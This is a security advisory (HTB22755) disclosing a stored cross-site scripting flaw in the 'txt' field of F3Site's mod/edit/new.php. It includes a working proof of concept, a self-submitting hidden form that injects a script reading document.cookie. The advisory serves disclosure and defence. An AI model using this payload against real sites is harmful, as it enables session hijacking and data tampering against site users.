XSS vulnerability in F3Site

Vulnerability ID: HTB22755
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_f3site.html
Product: F3Site
Vendor: COMPMaster ( http://dhost.info/compmaster/ )
Vulnerable Version: 2011 alfa 1 and probably prior versions
Vendor Notification: 21 December 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "mod/edit/new.php" script to properly sanitize user-supplied input in "txt" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/edit/5/NEWSID?ref&quot; method="post" name="main">
<input type="hidden" name="cat" value="1">
<input type="hidden" name="name" value="tt">
<input type="hidden" name="access" value="on">
<input type="hidden" name="img" value="">
<input type="hidden" name="br" value="on">
<input type="hidden" name="emo" value="on">
<input type="hidden" name="txt" value='text"><script>alert(document.cookie)</script>'>
<input type="hidden" name="text" value="">
</form>
<script>
document.main.submit();
</script>